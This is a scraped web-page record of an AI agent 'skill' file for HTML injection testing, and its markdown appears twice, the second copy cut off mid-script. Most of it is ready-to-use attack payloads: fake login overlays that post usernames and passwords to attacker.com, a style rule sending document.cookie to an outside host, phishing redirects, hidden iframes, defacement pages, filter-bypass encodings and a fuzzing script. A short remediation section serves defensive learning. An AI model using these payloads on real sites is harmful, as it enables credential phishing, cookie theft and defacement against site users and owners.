[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AFSQ7C2P11KKXGMCQD9XFD":3,"skill-same:01M6AFSQ7C2P11KKXGMCQD9XFD":92},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":29,"publishedAt":46,"linkOnly":47,"markdownContent":48,"markdownBody":49,"frontMatter":50,"refName":54,"commitSha":55,"skillDirectory":56,"forksCount":57,"repositoryHtmlUrl":58,"repositoryHomepageUrl":59,"ownerHtmlUrl":60,"ownerBlogUrl":61,"ownerDescription":62,"updatedAt":63,"install":64,"resources":77},"01M6AFSQ7C2P11KKXGMCQD9XFD","html-injection-testing",null,"This skill should be used when the user asks to \"test for HTML injection\", \"inject HTML into web pages\", \"perform HTML injection attacks\", \"deface web applications\", or \"test content injection vulnerabilities\". It provides comprehensive HTML injection attack techniques and testing methodologies.","davila7\u002Fclaude-code-templates","davila7","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F6216945?v=4","01M6ADEWWFPS191NFM0Y1EX1JH","Daniel Avila","01M6ADJHGM78PHQRD3XZTFDVKK",33332,"MIT","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Fhtml-injection-testing\u002FSKILL.md",[18,23,26],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000009","前端开发",{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",[30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45],"testing","injection","html injection testing","html","vulnerabilities","test","web","content","applications","user","pages","it","attacks","techniques","for","when","2026-11-10 10:12:30",false,"---\nname: html-injection-testing\ndescription: This skill should be used when the user asks to \"test for HTML injection\", \"inject HTML into web pages\", \"perform HTML injection attacks\", \"deface web applications\", or \"test content injection vulnerabilities\". It provides comprehensive HTML injection attack techniques and testing methodologies.\nmetadata:\n  author: zebbern\n  version: \"1.1\"\n---\n\n# HTML Injection Testing\n\n## Purpose\n\nIdentify and exploit HTML injection vulnerabilities that allow attackers to inject malicious HTML content into web applications. This vulnerability enables attackers to modify page appearance, create phishing pages, and steal user credentials through injected forms.\n\n## Prerequisites\n\n### Required Tools\n- Web browser with developer tools\n- Burp Suite or OWASP ZAP\n- Tamper Data or similar proxy\n- cURL for testing payloads\n\n### Required Knowledge\n- HTML fundamentals\n- HTTP request\u002Fresponse structure\n- Web application input handling\n- Difference between HTML injection and XSS\n\n## Outputs and Deliverables\n\n1. **Vulnerability Report** - Identified injection points\n2. **Exploitation Proof** - Demonstrated content manipulation\n3. **Impact Assessment** - Potential phishing and defacement risks\n4. **Remediation Guidance** - Input validation recommendations\n\n## Core Workflow\n\n### Phase 1: Understanding HTML Injection\n\nHTML injection occurs when user input is reflected in web pages without proper sanitization:\n\n```html\n\u003C!-- Vulnerable code example -->\n\u003Cdiv>\n    Welcome, \u003C?php echo $_GET['name']; ?>\n\u003C\u002Fdiv>\n\n\u003C!-- Attack input -->\n?name=\u003Ch1>Injected Content\u003C\u002Fh1>\n\n\u003C!-- Rendered output -->\n\u003Cdiv>\n    Welcome, \u003Ch1>Injected Content\u003C\u002Fh1>\n\u003C\u002Fdiv>\n```\n\nKey differences from XSS:\n- HTML injection: Only HTML tags are rendered\n- XSS: JavaScript code is executed\n- HTML injection is often stepping stone to XSS\n\nAttack goals:\n- Modify website appearance (defacement)\n- Create fake login forms (phishing)\n- Inject malicious links\n- Display misleading content\n\n### Phase 2: Identifying Injection Points\n\nMap application for potential injection surfaces:\n\n```\n1. Search bars and search results\n2. Comment sections\n3. User profile fields\n4. Contact forms and feedback\n5. Registration forms\n6. URL parameters reflected on page\n7. Error messages\n8. Page titles and headers\n9. Hidden form fields\n10. Cookie values reflected on page\n```\n\nCommon vulnerable parameters:\n```\n?name=\n?user=\n?search=\n?query=\n?message=\n?title=\n?content=\n?redirect=\n?url=\n?page=\n```\n\n### Phase 3: Basic HTML Injection Testing\n\nTest with simple HTML tags:\n\n```html\n\u003C!-- Basic text formatting -->\n\u003Ch1>Test Injection\u003C\u002Fh1>\n\u003Cb>Bold Text\u003C\u002Fb>\n\u003Ci>Italic Text\u003C\u002Fi>\n\u003Cu>Underlined Text\u003C\u002Fu>\n\u003Cfont color=\"red\">Red Text\u003C\u002Ffont>\n\n\u003C!-- Structural elements -->\n\u003Cdiv style=\"background:red;color:white;padding:10px\">Injected DIV\u003C\u002Fdiv>\n\u003Cp>Injected paragraph\u003C\u002Fp>\n\u003Cbr>\u003Cbr>\u003Cbr>Line breaks\n\n\u003C!-- Links -->\n\u003Ca href=\"http:\u002F\u002Fattacker.com\">Click Here\u003C\u002Fa>\n\u003Ca href=\"http:\u002F\u002Fattacker.com\">Legitimate Link\u003C\u002Fa>\n\n\u003C!-- Images -->\n\u003Cimg src=\"http:\u002F\u002Fattacker.com\u002Fimage.png\">\n\u003Cimg src=\"x\" onerror=\"alert(1)\">  \u003C!-- XSS attempt -->\n```\n\nTesting workflow:\n```bash\n# Test basic injection\ncurl \"http:\u002F\u002Ftarget.com\u002Fsearch?q=\u003Ch1>Test\u003C\u002Fh1>\"\n\n# Check if HTML renders in response\ncurl -s \"http:\u002F\u002Ftarget.com\u002Fsearch?q=\u003Cb>Bold\u003C\u002Fb>\" | grep -i \"bold\"\n\n# Test in URL-encoded form\ncurl \"http:\u002F\u002Ftarget.com\u002Fsearch?q=%3Ch1%3ETest%3C%2Fh1%3E\"\n```\n\n### Phase 4: Types of HTML Injection\n\n#### Stored HTML Injection\n\nPayload persists in database:\n\n```html\n\u003C!-- Profile bio injection -->\nName: John Doe\nBio: \u003Cdiv style=\"position:absolute;top:0;left:0;width:100%;height:100%;background:white;\">\n     \u003Ch1>Site Under Maintenance\u003C\u002Fh1>\n     \u003Cp>Please login at \u003Ca href=\"http:\u002F\u002Fattacker.com\u002Flogin\">portal.company.com\u003C\u002Fa>\u003C\u002Fp>\n     \u003C\u002Fdiv>\n\n\u003C!-- Comment injection -->\nGreat article!\n\u003Cform action=\"http:\u002F\u002Fattacker.com\u002Fsteal\" method=\"POST\">\n    \u003Cinput name=\"username\" placeholder=\"Session expired. Enter username:\">\n    \u003Cinput name=\"password\" type=\"password\" placeholder=\"Password:\">\n    \u003Cinput type=\"submit\" value=\"Login\">\n\u003C\u002Fform>\n```\n\n#### Reflected GET Injection\n\nPayload in URL parameters:\n\n```html\n\u003C!-- URL injection -->\nhttp:\u002F\u002Ftarget.com\u002Fwelcome?name=\u003Ch1>Welcome%20Admin\u003C\u002Fh1>\u003Cform%20action=\"http:\u002F\u002Fattacker.com\u002Fsteal\">\n\n\u003C!-- Search result injection -->\nhttp:\u002F\u002Ftarget.com\u002Fsearch?q=\u003Cmarquee>Your%20account%20has%20been%20compromised\u003C\u002Fmarquee>\n```\n\n#### Reflected POST Injection\n\nPayload in POST data:\n\n```bash\n# POST injection test\ncurl -X POST -d \"comment=\u003Cdiv style='color:red'>Malicious Content\u003C\u002Fdiv>\" \\\n     http:\u002F\u002Ftarget.com\u002Fsubmit\n\n# Form field injection\ncurl -X POST -d \"name=\u003Cscript>alert(1)\u003C\u002Fscript>&email=test@test.com\" \\\n     http:\u002F\u002Ftarget.com\u002Fregister\n```\n\n#### URL-Based Injection\n\nInject into displayed URLs:\n\n```html\n\u003C!-- If URL is displayed on page -->\nhttp:\u002F\u002Ftarget.com\u002Fpage\u002F\u003Ch1>Injected\u003C\u002Fh1>\n\n\u003C!-- Path-based injection -->\nhttp:\u002F\u002Ftarget.com\u002Fusers\u002F\u003Cimg src=x>\u002Fprofile\n```\n\n### Phase 5: Phishing Attack Construction\n\nCreate convincing phishing forms:\n\n```html\n\u003C!-- Fake login form overlay -->\n\u003Cdiv style=\"position:fixed;top:0;left:0;width:100%;height:100%;\n            background:white;z-index:9999;padding:50px;\">\n    \u003Ch2>Session Expired\u003C\u002Fh2>\n    \u003Cp>Your session has expired. Please log in again.\u003C\u002Fp>\n    \u003Cform action=\"http:\u002F\u002Fattacker.com\u002Fcapture\" method=\"POST\">\n        \u003Clabel>Username:\u003C\u002Flabel>\u003Cbr>\n        \u003Cinput type=\"text\" name=\"username\" style=\"width:200px;\">\u003Cbr>\u003Cbr>\n        \u003Clabel>Password:\u003C\u002Flabel>\u003Cbr>\n        \u003Cinput type=\"password\" name=\"password\" style=\"width:200px;\">\u003Cbr>\u003Cbr>\n        \u003Cinput type=\"submit\" value=\"Login\">\n    \u003C\u002Fform>\n\u003C\u002Fdiv>\n\n\u003C!-- Hidden credential stealer -->\n\u003Cstyle>\n    input { background: url('http:\u002F\u002Fattacker.com\u002Flog?data=') }\n\u003C\u002Fstyle>\n\u003Cform action=\"http:\u002F\u002Fattacker.com\u002Fsteal\" method=\"POST\">\n    \u003Cinput name=\"user\" placeholder=\"Verify your username\">\n    \u003Cinput name=\"pass\" type=\"password\" placeholder=\"Verify your password\">\n    \u003Cbutton>Verify\u003C\u002Fbutton>\n\u003C\u002Fform>\n```\n\nURL-encoded phishing link:\n```\nhttp:\u002F\u002Ftarget.com\u002Fpage?msg=%3Cdiv%20style%3D%22position%3Afixed%3Btop%3A0%3Bleft%3A0%3Bwidth%3A100%25%3Bheight%3A100%25%3Bbackground%3Awhite%3Bz-index%3A9999%3Bpadding%3A50px%3B%22%3E%3Ch2%3ESession%20Expired%3C%2Fh2%3E%3Cform%20action%3D%22http%3A%2F%2Fattacker.com%2Fcapture%22%3E%3Cinput%20name%3D%22user%22%20placeholder%3D%22Username%22%3E%3Cinput%20name%3D%22pass%22%20type%3D%22password%22%3E%3Cbutton%3ELogin%3C%2Fbutton%3E%3C%2Fform%3E%3C%2Fdiv%3E\n```\n\n### Phase 6: Defacement Payloads\n\nWebsite appearance manipulation:\n\n```html\n\u003C!-- Full page overlay -->\n\u003Cdiv style=\"position:fixed;top:0;left:0;width:100%;height:100%;\n            background:#000;color:#0f0;z-index:9999;\n            display:flex;justify-content:center;align-items:center;\">\n    \u003Ch1>HACKED BY SECURITY TESTER\u003C\u002Fh1>\n\u003C\u002Fdiv>\n\n\u003C!-- Content replacement -->\n\u003Cstyle>body{display:none}\u003C\u002Fstyle>\n\u003Cbody style=\"display:block !important\">\n    \u003Ch1>This site has been compromised\u003C\u002Fh1>\n\u003C\u002Fbody>\n\n\u003C!-- Image injection -->\n\u003Cimg src=\"http:\u002F\u002Fattacker.com\u002Fdefaced.jpg\" \n     style=\"position:fixed;top:0;left:0;width:100%;height:100%;z-index:9999\">\n\n\u003C!-- Marquee injection (visible movement) -->\n\u003Cmarquee behavior=\"alternate\" style=\"font-size:50px;color:red;\">\n    SECURITY VULNERABILITY DETECTED\n\u003C\u002Fmarquee>\n```\n\n### Phase 7: Advanced Injection Techniques\n\n#### CSS Injection\n\n```html\n\u003C!-- Style injection -->\n\u003Cstyle>\n    body { background: url('http:\u002F\u002Fattacker.com\u002Ftrack?cookie='+document.cookie) }\n    .content { display: none }\n    .fake-content { display: block }\n\u003C\u002Fstyle>\n\n\u003C!-- Inline style injection -->\n\u003Cdiv style=\"background:url('http:\u002F\u002Fattacker.com\u002Flog')\">Content\u003C\u002Fdiv>\n```\n\n#### Meta Tag Injection\n\n```html\n\u003C!-- Redirect via meta refresh -->\n\u003Cmeta http-equiv=\"refresh\" content=\"0;url=http:\u002F\u002Fattacker.com\u002Fphish\">\n\n\u003C!-- CSP bypass attempt -->\n\u003Cmeta http-equiv=\"Content-Security-Policy\" content=\"default-src *\">\n```\n\n#### Form Action Override\n\n```html\n\u003C!-- Hijack existing form -->\n\u003Cform action=\"http:\u002F\u002Fattacker.com\u002Fsteal\">\n\n\u003C!-- If form already exists, add input -->\n\u003Cinput type=\"hidden\" name=\"extra\" value=\"data\">\n\u003C\u002Fform>\n```\n\n#### iframe Injection\n\n```html\n\u003C!-- Embed external content -->\n\u003Ciframe src=\"http:\u002F\u002Fattacker.com\u002Fmalicious\" width=\"100%\" height=\"500\">\u003C\u002Fiframe>\n\n\u003C!-- Invisible tracking iframe -->\n\u003Ciframe src=\"http:\u002F\u002Fattacker.com\u002Ftrack\" style=\"display:none\">\u003C\u002Fiframe>\n```\n\n### Phase 8: Bypass Techniques\n\nEvade basic filters:\n\n```html\n\u003C!-- Case variations -->\n\u003CH1>Test\u003C\u002FH1>\n\u003CScRiPt>alert(1)\u003C\u002FScRiPt>\n\n\u003C!-- Encoding variations -->\n<h1>Encoded<\u002Fh1>\n%3Ch1%3EURL%20Encoded%3C%2Fh1%3E\n\n\u003C!-- Tag splitting -->\n\u003Ch\n1>Split Tag\u003C\u002Fh1>\n\n\u003C!-- Null bytes -->\n\u003Ch1%00>Null Byte\u003C\u002Fh1>\n\n\u003C!-- Double encoding -->\n%253Ch1%253EDouble%2520Encoded%253C%252Fh1%253E\n\n\u003C!-- Unicode encoding -->\n\\u003ch1\\u003eUnicode\\u003c\u002Fh1\\u003e\n\n\u003C!-- Attribute-based -->\n\u003Cdiv onmouseover=\"alert(1)\">Hover me\u003C\u002Fdiv>\n\u003Cimg src=x onerror=alert(1)>\n```\n\n### Phase 9: Automated Testing\n\n#### Using Burp Suite\n\n```\n1. Capture request with potential injection point\n2. Send to Intruder\n3. Mark parameter value as payload position\n4. Load HTML injection wordlist\n5. Start attack\n6. Filter responses for rendered HTML\n7. Manually verify successful injections\n```\n\n#### Using OWASP ZAP\n\n```\n1. Spider the target application\n2. Active Scan with HTML injection rules\n3. Review Alerts for injection findings\n4. Validate findings manually\n```\n\n#### Custom Fuzzing Script\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\nimport requests\nimport urllib.parse\n\ntarget = \"http:\u002F\u002Ftarget.com\u002Fsearch\"\nparam = \"q\"\n\npayloads = [\n    \"\u003Ch1>Test\u003C\u002Fh1>\",\n    \"\u003Cb>Bold\u003C\u002Fb>\",\n    \"\u003Cscript>alert(1)\u003C\u002Fscript>\",\n    \"\u003Cimg src=x onerror=alert(1)>\",\n    \"\u003Ca href='http:\u002F\u002Fevil.com'>Click\u003C\u002Fa>\",\n    \"\u003Cdiv style='color:red'>Styled\u003C\u002Fdiv>\",\n    \"\u003Cmarquee>Moving\u003C\u002Fmarquee>\",\n    \"\u003Ciframe src='http:\u002F\u002Fevil.com'>\u003C\u002Fiframe>\",\n]\n\nfor payload in payloads:\n    encoded = urllib.parse.quote(payload)\n    url = f\"{target}?{param}={encoded}\"\n    \n    try:\n        response = requests.get(url, timeout=5)\n        if payload.lower() in response.text.lower():\n            print(f\"[+] Possible injection: {payload}\")\n        elif \"\u003Ch1>\" in response.text or \"\u003Cb>\" in response.text:\n            print(f\"[?] Partial reflection: {payload}\")\n    except Exception as e:\n        print(f\"[-] Error: {e}\")\n```\n\n### Phase 10: Prevention and Remediation\n\nSecure coding practices:\n\n```php\n\u002F\u002F PHP: Escape output\necho htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');\n\n\u002F\u002F PHP: Strip tags\necho strip_tags($user_input);\n\n\u002F\u002F PHP: Allow specific tags only\necho strip_tags($user_input, '\u003Cp>\u003Cb>\u003Ci>');\n```\n\n```python\n# Python: HTML escape\nfrom html import escape\nsafe_output = escape(user_input)\n\n# Python Flask: Auto-escaping\n{{ user_input }}  # Jinja2 escapes by default\n{{ user_input | safe }}  # Marks as safe (dangerous!)\n```\n\n```javascript\n\u002F\u002F JavaScript: Text content (safe)\nelement.textContent = userInput;\n\n\u002F\u002F JavaScript: innerHTML (dangerous!)\nelement.innerHTML = userInput;  \u002F\u002F Vulnerable!\n\n\u002F\u002F JavaScript: Sanitize\nconst clean = DOMPurify.sanitize(userInput);\nelement.innerHTML = clean;\n```\n\nServer-side protections:\n- Input validation (whitelist allowed characters)\n- Output encoding (context-aware escaping)\n- Content Security Policy (CSP) headers\n- Web Application Firewall (WAF) rules\n\n## Quick Reference\n\n### Common Test Payloads\n\n| Payload | Purpose |\n|---------|---------|\n| `\u003Ch1>Test\u003C\u002Fh1>` | Basic rendering test |\n| `\u003Cb>Bold\u003C\u002Fb>` | Simple formatting |\n| `\u003Ca href=\"evil.com\">Link\u003C\u002Fa>` | Link injection |\n| `\u003Cimg src=x>` | Image tag test |\n| `\u003Cdiv style=\"color:red\">` | Style injection |\n| `\u003Cform action=\"evil.com\">` | Form hijacking |\n\n### Injection Contexts\n\n| Context | Test Approach |\n|---------|---------------|\n| URL parameter | `?param=\u003Ch1>test\u003C\u002Fh1>` |\n| Form field | POST with HTML payload |\n| Cookie value | Inject via document.cookie |\n| HTTP header | Inject in Referer\u002FUser-Agent |\n| File upload | HTML file with malicious content |\n\n### Encoding Types\n\n| Type | Example |\n|------|---------|\n| URL encoding | `%3Ch1%3E` = `\u003Ch1>` |\n| HTML entities | `<h1>` = `\u003Ch1>` |\n| Double encoding | `%253C` = `\u003C` |\n| Unicode | `\\u003c` = `\u003C` |\n\n## Constraints and Limitations\n\n### Attack Limitations\n- Modern browsers may sanitize some injections\n- CSP can prevent inline styles and scripts\n- WAFs may block common payloads\n- Some applications escape output properly\n\n### Testing Considerations\n- Distinguish between HTML injection and XSS\n- Verify visual impact in browser\n- Test in multiple browsers\n- Check for stored vs reflected\n\n### Severity Assessment\n- Lower severity than XSS (no script execution)\n- Higher impact when combined with phishing\n- Consider defacement\u002Freputation damage\n- Evaluate credential theft potential\n\n## Troubleshooting\n\n| Issue | Solutions |\n|-------|-----------|\n| HTML not rendering | Check if output HTML-encoded; try encoding variations; verify HTML context |\n| Payload stripped | Use encoding variations; try tag splitting; test null bytes; nested tags |\n| XSS not working (HTML only) | JS filtered but HTML allowed; leverage phishing forms, meta refresh redirects |\n","# HTML Injection Testing\n\n## Purpose\n\nIdentify and exploit HTML injection vulnerabilities that allow attackers to inject malicious HTML content into web applications. This vulnerability enables attackers to modify page appearance, create phishing pages, and steal user credentials through injected forms.\n\n## Prerequisites\n\n### Required Tools\n- Web browser with developer tools\n- Burp Suite or OWASP ZAP\n- Tamper Data or similar proxy\n- cURL for testing payloads\n\n### Required Knowledge\n- HTML fundamentals\n- HTTP request\u002Fresponse structure\n- Web application input handling\n- Difference between HTML injection and XSS\n\n## Outputs and Deliverables\n\n1. **Vulnerability Report** - Identified injection points\n2. **Exploitation Proof** - Demonstrated content manipulation\n3. **Impact Assessment** - Potential phishing and defacement risks\n4. **Remediation Guidance** - Input validation recommendations\n\n## Core Workflow\n\n### Phase 1: Understanding HTML Injection\n\nHTML injection occurs when user input is reflected in web pages without proper sanitization:\n\n```html\n\u003C!-- Vulnerable code example -->\n\u003Cdiv>\n    Welcome, \u003C?php echo $_GET['name']; ?>\n\u003C\u002Fdiv>\n\n\u003C!-- Attack input -->\n?name=\u003Ch1>Injected Content\u003C\u002Fh1>\n\n\u003C!-- Rendered output -->\n\u003Cdiv>\n    Welcome, \u003Ch1>Injected Content\u003C\u002Fh1>\n\u003C\u002Fdiv>\n```\n\nKey differences from XSS:\n- HTML injection: Only HTML tags are rendered\n- XSS: JavaScript code is executed\n- HTML injection is often stepping stone to XSS\n\nAttack goals:\n- Modify website appearance (defacement)\n- Create fake login forms (phishing)\n- Inject malicious links\n- Display misleading content\n\n### Phase 2: Identifying Injection Points\n\nMap application for potential injection surfaces:\n\n```\n1. Search bars and search results\n2. Comment sections\n3. User profile fields\n4. Contact forms and feedback\n5. Registration forms\n6. URL parameters reflected on page\n7. Error messages\n8. Page titles and headers\n9. Hidden form fields\n10. Cookie values reflected on page\n```\n\nCommon vulnerable parameters:\n```\n?name=\n?user=\n?search=\n?query=\n?message=\n?title=\n?content=\n?redirect=\n?url=\n?page=\n```\n\n### Phase 3: Basic HTML Injection Testing\n\nTest with simple HTML tags:\n\n```html\n\u003C!-- Basic text formatting -->\n\u003Ch1>Test Injection\u003C\u002Fh1>\n\u003Cb>Bold Text\u003C\u002Fb>\n\u003Ci>Italic Text\u003C\u002Fi>\n\u003Cu>Underlined Text\u003C\u002Fu>\n\u003Cfont color=\"red\">Red Text\u003C\u002Ffont>\n\n\u003C!-- Structural elements -->\n\u003Cdiv style=\"background:red;color:white;padding:10px\">Injected DIV\u003C\u002Fdiv>\n\u003Cp>Injected paragraph\u003C\u002Fp>\n\u003Cbr>\u003Cbr>\u003Cbr>Line breaks\n\n\u003C!-- Links -->\n\u003Ca href=\"http:\u002F\u002Fattacker.com\">Click Here\u003C\u002Fa>\n\u003Ca href=\"http:\u002F\u002Fattacker.com\">Legitimate Link\u003C\u002Fa>\n\n\u003C!-- Images -->\n\u003Cimg src=\"http:\u002F\u002Fattacker.com\u002Fimage.png\">\n\u003Cimg src=\"x\" onerror=\"alert(1)\">  \u003C!-- XSS attempt -->\n```\n\nTesting workflow:\n```bash\n# Test basic injection\ncurl \"http:\u002F\u002Ftarget.com\u002Fsearch?q=\u003Ch1>Test\u003C\u002Fh1>\"\n\n# Check if HTML renders in response\ncurl -s \"http:\u002F\u002Ftarget.com\u002Fsearch?q=\u003Cb>Bold\u003C\u002Fb>\" | grep -i \"bold\"\n\n# Test in URL-encoded form\ncurl \"http:\u002F\u002Ftarget.com\u002Fsearch?q=%3Ch1%3ETest%3C%2Fh1%3E\"\n```\n\n### Phase 4: Types of HTML Injection\n\n#### Stored HTML Injection\n\nPayload persists in database:\n\n```html\n\u003C!-- Profile bio injection -->\nName: John Doe\nBio: \u003Cdiv style=\"position:absolute;top:0;left:0;width:100%;height:100%;background:white;\">\n     \u003Ch1>Site Under Maintenance\u003C\u002Fh1>\n     \u003Cp>Please login at \u003Ca href=\"http:\u002F\u002Fattacker.com\u002Flogin\">portal.company.com\u003C\u002Fa>\u003C\u002Fp>\n     \u003C\u002Fdiv>\n\n\u003C!-- Comment injection -->\nGreat article!\n\u003Cform action=\"http:\u002F\u002Fattacker.com\u002Fsteal\" method=\"POST\">\n    \u003Cinput name=\"username\" placeholder=\"Session expired. Enter username:\">\n    \u003Cinput name=\"password\" type=\"password\" placeholder=\"Password:\">\n    \u003Cinput type=\"submit\" value=\"Login\">\n\u003C\u002Fform>\n```\n\n#### Reflected GET Injection\n\nPayload in URL parameters:\n\n```html\n\u003C!-- URL injection -->\nhttp:\u002F\u002Ftarget.com\u002Fwelcome?name=\u003Ch1>Welcome%20Admin\u003C\u002Fh1>\u003Cform%20action=\"http:\u002F\u002Fattacker.com\u002Fsteal\">\n\n\u003C!-- Search result injection -->\nhttp:\u002F\u002Ftarget.com\u002Fsearch?q=\u003Cmarquee>Your%20account%20has%20been%20compromised\u003C\u002Fmarquee>\n```\n\n#### Reflected POST Injection\n\nPayload in POST data:\n\n```bash\n# POST injection test\ncurl -X POST -d \"comment=\u003Cdiv style='color:red'>Malicious Content\u003C\u002Fdiv>\" \\\n     http:\u002F\u002Ftarget.com\u002Fsubmit\n\n# Form field injection\ncurl -X POST -d \"name=\u003Cscript>alert(1)\u003C\u002Fscript>&email=test@test.com\" \\\n     http:\u002F\u002Ftarget.com\u002Fregister\n```\n\n#### URL-Based Injection\n\nInject into displayed URLs:\n\n```html\n\u003C!-- If URL is displayed on page -->\nhttp:\u002F\u002Ftarget.com\u002Fpage\u002F\u003Ch1>Injected\u003C\u002Fh1>\n\n\u003C!-- Path-based injection -->\nhttp:\u002F\u002Ftarget.com\u002Fusers\u002F\u003Cimg src=x>\u002Fprofile\n```\n\n### Phase 5: Phishing Attack Construction\n\nCreate convincing phishing forms:\n\n```html\n\u003C!-- Fake login form overlay -->\n\u003Cdiv style=\"position:fixed;top:0;left:0;width:100%;height:100%;\n            background:white;z-index:9999;padding:50px;\">\n    \u003Ch2>Session Expired\u003C\u002Fh2>\n    \u003Cp>Your session has expired. Please log in again.\u003C\u002Fp>\n    \u003Cform action=\"http:\u002F\u002Fattacker.com\u002Fcapture\" method=\"POST\">\n        \u003Clabel>Username:\u003C\u002Flabel>\u003Cbr>\n        \u003Cinput type=\"text\" name=\"username\" style=\"width:200px;\">\u003Cbr>\u003Cbr>\n        \u003Clabel>Password:\u003C\u002Flabel>\u003Cbr>\n        \u003Cinput type=\"password\" name=\"password\" style=\"width:200px;\">\u003Cbr>\u003Cbr>\n        \u003Cinput type=\"submit\" value=\"Login\">\n    \u003C\u002Fform>\n\u003C\u002Fdiv>\n\n\u003C!-- Hidden credential stealer -->\n\u003Cstyle>\n    input { background: url('http:\u002F\u002Fattacker.com\u002Flog?data=') }\n\u003C\u002Fstyle>\n\u003Cform action=\"http:\u002F\u002Fattacker.com\u002Fsteal\" method=\"POST\">\n    \u003Cinput name=\"user\" placeholder=\"Verify your username\">\n    \u003Cinput name=\"pass\" type=\"password\" placeholder=\"Verify your password\">\n    \u003Cbutton>Verify\u003C\u002Fbutton>\n\u003C\u002Fform>\n```\n\nURL-encoded phishing link:\n```\nhttp:\u002F\u002Ftarget.com\u002Fpage?msg=%3Cdiv%20style%3D%22position%3Afixed%3Btop%3A0%3Bleft%3A0%3Bwidth%3A100%25%3Bheight%3A100%25%3Bbackground%3Awhite%3Bz-index%3A9999%3Bpadding%3A50px%3B%22%3E%3Ch2%3ESession%20Expired%3C%2Fh2%3E%3Cform%20action%3D%22http%3A%2F%2Fattacker.com%2Fcapture%22%3E%3Cinput%20name%3D%22user%22%20placeholder%3D%22Username%22%3E%3Cinput%20name%3D%22pass%22%20type%3D%22password%22%3E%3Cbutton%3ELogin%3C%2Fbutton%3E%3C%2Fform%3E%3C%2Fdiv%3E\n```\n\n### Phase 6: Defacement Payloads\n\nWebsite appearance manipulation:\n\n```html\n\u003C!-- Full page overlay -->\n\u003Cdiv style=\"position:fixed;top:0;left:0;width:100%;height:100%;\n            background:#000;color:#0f0;z-index:9999;\n            display:flex;justify-content:center;align-items:center;\">\n    \u003Ch1>HACKED BY SECURITY TESTER\u003C\u002Fh1>\n\u003C\u002Fdiv>\n\n\u003C!-- Content replacement -->\n\u003Cstyle>body{display:none}\u003C\u002Fstyle>\n\u003Cbody style=\"display:block !important\">\n    \u003Ch1>This site has been compromised\u003C\u002Fh1>\n\u003C\u002Fbody>\n\n\u003C!-- Image injection -->\n\u003Cimg src=\"http:\u002F\u002Fattacker.com\u002Fdefaced.jpg\" \n     style=\"position:fixed;top:0;left:0;width:100%;height:100%;z-index:9999\">\n\n\u003C!-- Marquee injection (visible movement) -->\n\u003Cmarquee behavior=\"alternate\" style=\"font-size:50px;color:red;\">\n    SECURITY VULNERABILITY DETECTED\n\u003C\u002Fmarquee>\n```\n\n### Phase 7: Advanced Injection Techniques\n\n#### CSS Injection\n\n```html\n\u003C!-- Style injection -->\n\u003Cstyle>\n    body { background: url('http:\u002F\u002Fattacker.com\u002Ftrack?cookie='+document.cookie) }\n    .content { display: none }\n    .fake-content { display: block }\n\u003C\u002Fstyle>\n\n\u003C!-- Inline style injection -->\n\u003Cdiv style=\"background:url('http:\u002F\u002Fattacker.com\u002Flog')\">Content\u003C\u002Fdiv>\n```\n\n#### Meta Tag Injection\n\n```html\n\u003C!-- Redirect via meta refresh -->\n\u003Cmeta http-equiv=\"refresh\" content=\"0;url=http:\u002F\u002Fattacker.com\u002Fphish\">\n\n\u003C!-- CSP bypass attempt -->\n\u003Cmeta http-equiv=\"Content-Security-Policy\" content=\"default-src *\">\n```\n\n#### Form Action Override\n\n```html\n\u003C!-- Hijack existing form -->\n\u003Cform action=\"http:\u002F\u002Fattacker.com\u002Fsteal\">\n\n\u003C!-- If form already exists, add input -->\n\u003Cinput type=\"hidden\" name=\"extra\" value=\"data\">\n\u003C\u002Fform>\n```\n\n#### iframe Injection\n\n```html\n\u003C!-- Embed external content -->\n\u003Ciframe src=\"http:\u002F\u002Fattacker.com\u002Fmalicious\" width=\"100%\" height=\"500\">\u003C\u002Fiframe>\n\n\u003C!-- Invisible tracking iframe -->\n\u003Ciframe src=\"http:\u002F\u002Fattacker.com\u002Ftrack\" style=\"display:none\">\u003C\u002Fiframe>\n```\n\n### Phase 8: Bypass Techniques\n\nEvade basic filters:\n\n```html\n\u003C!-- Case variations -->\n\u003CH1>Test\u003C\u002FH1>\n\u003CScRiPt>alert(1)\u003C\u002FScRiPt>\n\n\u003C!-- Encoding variations -->\n<h1>Encoded<\u002Fh1>\n%3Ch1%3EURL%20Encoded%3C%2Fh1%3E\n\n\u003C!-- Tag splitting -->\n\u003Ch\n1>Split Tag\u003C\u002Fh1>\n\n\u003C!-- Null bytes -->\n\u003Ch1%00>Null Byte\u003C\u002Fh1>\n\n\u003C!-- Double encoding -->\n%253Ch1%253EDouble%2520Encoded%253C%252Fh1%253E\n\n\u003C!-- Unicode encoding -->\n\\u003ch1\\u003eUnicode\\u003c\u002Fh1\\u003e\n\n\u003C!-- Attribute-based -->\n\u003Cdiv onmouseover=\"alert(1)\">Hover me\u003C\u002Fdiv>\n\u003Cimg src=x onerror=alert(1)>\n```\n\n### Phase 9: Automated Testing\n\n#### Using Burp Suite\n\n```\n1. Capture request with potential injection point\n2. Send to Intruder\n3. Mark parameter value as payload position\n4. Load HTML injection wordlist\n5. Start attack\n6. Filter responses for rendered HTML\n7. Manually verify successful injections\n```\n\n#### Using OWASP ZAP\n\n```\n1. Spider the target application\n2. Active Scan with HTML injection rules\n3. Review Alerts for injection findings\n4. Validate findings manually\n```\n\n#### Custom Fuzzing Script\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\nimport requests\nimport 